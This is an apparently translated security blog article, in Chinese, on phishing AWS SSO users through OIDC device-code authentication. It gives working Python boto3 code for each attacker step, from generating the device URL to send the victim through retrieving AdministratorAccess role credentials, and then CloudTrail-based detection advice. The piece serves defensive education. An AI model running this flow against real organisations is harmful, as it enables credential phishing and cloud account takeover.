通过AWS SSO设备代码认证进行钓鱼攻击获取AWS凭证(2024年更新)

本文详细分析了AWS SSO设备代码认证机制存在的钓鱼攻击风险,通过具体代码演示攻击流程,并提供了CloudTrail日志检测策略和防护建议。文章包含完整的技术实现细节和实战演示,帮助读者深入理解这一云安全威胁。

通过AWS SSO设备代码认证进行钓鱼攻击获取AWS凭证(2024年更新)

在企业环境中使用AWS时,最佳实践要求使用单点登录服务进行身份和访问管理。AWS SSO(现称为"Identity Center")是一个流行的解决方案,可与Okta等第三方提供商集成,并允许集中管理多个AWS账户中的角色和权限。

本文演示了AWS SSO在设计上容易受到设备代码认证钓鱼攻击的漏洞——就像任何实现OpenID Connect设备代码认证的身份提供商一样。该技术最初由Dr. Nestori Syynimaa为Azure AD演示。该功能为攻击者提供了强大的钓鱼向量,使得MFA(包括Yubikeys)或IP白名单等控制在IdP级别无效。

背景

AWS SSO

AWS SSO是AWS提供的一项服务,用于管理多个AWS账户的角色和身份。引用文档说明:

“通过AWS SSO,您可以轻松集中管理对AWS Organizations中所有账户的访问和用户权限。AWS SSO自动配置和维护账户的所有必要权限,无需在各个账户中进行任何额外设置。您可以根据常见工作职能分配用户权限,并自定义这些权限以满足特定安全要求。”

AWS SSO中的身份来自AWS SSO身份存储本身。用户和组可以通过以下3种方式进入此身份存储:

  1. 手动添加到AWS SSO身份存储本身
  2. 从Active Directory自动同步到AWS SSO身份存储(单向同步)
  3. 从支持SAML的任何第三方身份提供商(如Okta)同步

从CLI使用AWS SSO

工程师首先会问:如何从CLI使用它?作为安全人员,我们的重点通常是避免使用IAM用户,因为其凭证是长期有效的,难以安全管理。

这就是为什么AWS SSO实现了部分OAuth 2.0规范——刚好足以从CLI使用它:

“AWS SSO OpenID Connect(OIDC)服务目前仅实现OAuth 2.0设备授权授予标准的部分内容,这些是实现AWS CLI的SSO认证所必需的。对本地应用程序经常需要的其他OIDC流程(如授权代码流程+PKCE)的支持将在未来版本中解决。”

设备代码授予类型

底层发生以下过程:

  1. 客户端应用程序(AWS CLI)通过调用sso-oidc:RegisterClient注册OIDC客户端
  2. 客户端应用程序调用sso-oidc:StartDeviceAuthorization生成类似https://device.sso.eu-central-1.amazonaws.com/?user_code=SPNB-NVKN的URL
  3. 最终用户打开链接并在其身份提供商上进行身份验证
  4. 最终用户接受提示后,客户端应用程序调用sso-oidc:CreateToken检索AWS SSO访问令牌

使用AWS SSO设备代码进行钓鱼攻击

您可能已经发现:这是一个很好的钓鱼向量。除了使用合法的AWS网站外,它还使多因素认证、设备信任等企业级安全机制无效。

攻击步骤

步骤0:先决条件 攻击者需要提前知道受害者组织的AWS SSO URL,该URL看起来像.awsapps.com。这可以通过社会工程、猜测、子域名发现等方式找到。

步骤1:攻击者发起设备代码授权流程 Python代码示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
REGION = 'us-east-1'
AWS_SSO_START_URL = 'https://xxx.awsapps.com/start'

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
    clientName = 'my-attacker',
    clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')

authz = sso_oidc.start_device_authorization(
    clientId=client_id,
    clientSecret=client_secret,
    startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

步骤2:攻击者将设备授权URL发送给受害者 例如,通过网络钓鱼。受害者通过其常规身份提供商(如Okta)进行身份验证。

步骤3:攻击者检索SSO访问令牌 受害者接受提示后,攻击者使用sso-oidc:CreateToken检索SSO访问令牌:

1
2
3
4
5
6
7
token_response = sso_oidc.create_token(
    clientId=client_id,
    clientSecret=client_secret,
    grantType="urn:ietf:params:oauth:grant-type:device_code",
    deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

步骤4:攻击者使用SSO访问令牌访问AWS账户 使用受害者的SSO访问令牌,攻击者枚举受害者有权访问的AWS账户以及可用的角色:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
aws_accounts = sso.list_accounts(accessToken=sso_token)
roles_response = sso.list_account_roles(
    accessToken=sso_token, 
    accountId="11xxxxxxxx"
)
sts_creds = sso.get_role_credentials(
    accessToken=sso_token,
    roleName='AdministratorAccess',
    accountId='11...'
)

检测和预防

预防

这是一个功能,不是错误。如果您使用AWS SSO,无法防止此类钓鱼攻击。

CloudTrail事件

攻击每个步骤的CloudTrail事件:

攻击步骤 CloudTrail事件 源IP 备注
攻击者生成设备代码URL N/A
受害者显示"使用AWS CLI登录"提示 sso:ListApplications 受害者IP 2024年11月28日起,此事件不一定总是记录
受害者提交"使用AWS CLI登录"提示 N/A
攻击者检索受害者的AWS SSO访问令牌 sso-oidc:CreateToken 攻击者IP
攻击者枚举受害者的AWS账户和角色 sso:ListAccounts, sso:ListAccountRoles 攻击者IP
攻击者检索特定账户和权限集的AWS凭证 sso:GetRoleCredentials 攻击者IP

检测策略

在电子邮件网关上阻止和警报device.sso..amazonaws.com链接 设备认证链接应在本地生成。电子邮件中指向device.sso..amazonaws.com域的链接应视为高度可疑并进行调查。

在短时间内警报不同源IP生成sso:ListApplications和sso-oidc:CreateToken事件 由于设备代码应在本地使用,有两个不同的IP地址显示"使用AWS CLI登录"提示(受害者)和生成AWS SSO访问令牌(攻击者)是可疑的。

当特定用户的sso:ListAccountRoles事件量异常高时警报 AWS SSO的正常使用似乎生成很少的sso:ListAccountRoles事件。这些事件数量的突然增加表明有人使用非标准方式枚举特定用户的所有AWS SSO权限。

警报sso-oidc:CreateToken事件的异常源IP 如果您的工程师仅从内部网络中的公司笔记本电脑验证到AWS,可以标记sso-oidc:CreateToken事件中使用的任何外部源IP。

结论

可以说设备代码认证对于为工程师提供良好的用户体验是必要的,这样他们就可以使用SSO从CLI工作。这仍然比拥有数十个未管理的IAM用户风险小得多。也就是说,这是一个重要的提醒,组织不应将MFA等技术控制视为灵丹妙药,而应继续投资时间为最终用户建立安全意识,并基于CloudTrail日志(但不限于)制作高价值威胁检测用例。

免责声明:AWS团队要求我非常明确——这不是AWS SSO中的漏洞。这是设计使然,甚至在RFC中有所说明。任何实现OIDC设备代码认证的IdP都容易受到此类社会工程攻击。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计